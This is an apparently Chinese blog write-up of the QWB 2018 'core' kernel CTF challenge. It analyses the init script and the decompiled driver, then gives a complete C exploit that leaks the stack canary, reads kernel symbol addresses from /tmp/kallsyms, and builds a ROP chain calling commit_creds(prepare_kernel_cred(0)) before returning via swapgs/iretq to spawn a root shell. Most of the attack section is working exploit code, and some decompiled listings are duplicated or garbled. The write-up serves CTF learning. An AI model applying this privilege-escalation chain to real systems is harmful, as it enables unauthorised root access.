前言：最近刚入手内核题，所以这里跟着ctfwiki进行学习下，大佬勿喷。。。
第一步很经典。。。如果题目没有给 vmlinux，可以通过 extract-vmlinux 提取。
看到start.sh发现开启了kalsr随机化，需要进行泄露计算基地址，这里跟用户态pwn题很相似
看下init：
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了
第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了
第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了
第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包
checksec看下驱动保护：
[*] '/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
开启了Canary found，需要泄露canary
将core.ko拖到IDA里进行逆向分析
| init_module() 注册了 /proc/core |
| __int64 init_module() |
| { |
| core_proc = proc_create("core", 438LL, 0LL, &core_fops); |
| printk("\x016core: created /proc/core entry\n"); |
| return 0LL; |
| } |
exit_core() 删除 /proc/core
| __int64 exit_core() |
| { |
| __int64 result; // rax |
| if ( core_proc ) |
| result = remove_proc_entry("core"); |
| return result; |
| } |
exit_core() 删除 /proc/core
| __int64 exit_core() |
| { |
| __int64 result; // rax |
| if ( core_proc ) |
| result = remove_proc_entry("core"); |
| return result; |
| } |
core_ioctl() 定义了三条命令，分别调用 core_read()，core_copy_func() 和设置全局变量 off
| __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) |
| { |
| switch ( a2 ) |
| { |
| case 0x6677889B: |
| core_read(a3); |
| break; |
| case 0x6677889C: |
| printk("\x016core: %d\n"); |
| off = a3; |
| break; |
| case 0x6677889A: |
| printk("\x016core: called core_copy\n"); |
| core_copy_func(a3); |
| break; |
| } |
| core_copy_func(v3); |
| } |
core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 使我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址
| void __fastcall core_read(__int64 a1) |
| { |
| __int64 v1; // rbx |
| char *v2; // rdi |
| signed __int64 i; // rcx |
| char v4[64]; // [rsp+0h] [rbp-50h] |
| unsigned __int64 v5; // [rsp+40h] [rbp-10h] |
| v1 = a1; |
| v5 = __readgsqword(0x28u); |
| printk("\x016core: called core_read\n"); |
| printk("\x016%d %p\n"); |
| v2 = v4; |
| for ( i = 16LL; i; --i ) |
| { |
| *(_DWORD *)v2 = 0; |
| v2 += 4; |
| } |
| strcpy(v4, "Welcome to the QWB CTF challenge.\n"); |
| if ( copy_to_user(v1, &v4[off], 64LL) ) |
| __asm { swapgs } |
| } |
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了
| void __fastcall core_copy_func(signed __int64 a1) |
| { |
| char v1[64]; // [rsp+0h] [rbp-50h] |
| unsigned __int64 v2; // [rsp+40h] [rbp-10h] |
| v2 = __readgsqword(0x28u); |
| printk("\x016core: called core_writen"); |
| if ( a1 > 63 ) |
| printk("\x016Detect Overflow"); |
| else |
| qmemcpy(v1, name, (unsigned __int16)a1); // overflow |
| } |
core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了
| signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) |
| { |
| unsigned __int64 v3; // rbx |
| v3 = a3; |
| printk("\x016core: called core_writen"); |
| if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) |
| return (unsigned int)v3; |
| printk("\x016core: error copying data from userspacen"); |
| return 0xFFFFFFF2LL; |
| }. |
经过如上的分析，可以得出以下的思路：
通过 ioctl 设置 off，然后通过 core_read() leak 出 canary
通过 core_write() 向 name 写，构造 ropchain
通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态，通过 system("/bin/sh") 等起 shell
| 如何获得 commit_creds()，prepare_kernel_cred() 的地址？ |
| /tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址 |
| 如何返回用户态？ |
| swapgs; iretq，之前说过需要设置 cs, rflags 等信息，可以写一个函数保存这些信息 |
exp：
include <string.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <fcntl.h>
include <sys/stat.h>
include <sys/types.h>
include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
编译一下：
gcc exploit.c -static -masm=intel -g -o exploit
1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell
| rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret |
| rop[i++] = 0; |
| rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) |
| rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret |
| rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret |
| rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; |
| rop[i++] = commit_creds; |
首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处，手动设置下
| rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret |
| rop[i++] = 0; |
| rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; |
| rop[i++] = (size_t)spawn_shell; // rip |
| rop[i++] = user_cs; |
| rop[i++] = user_rflags; |
| rop[i++] = user_sp; |
| rop[i++] = user_ss; |
总结：学到了内核rop的技术，希望继续进步。。
![加密机的相关信息[图]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)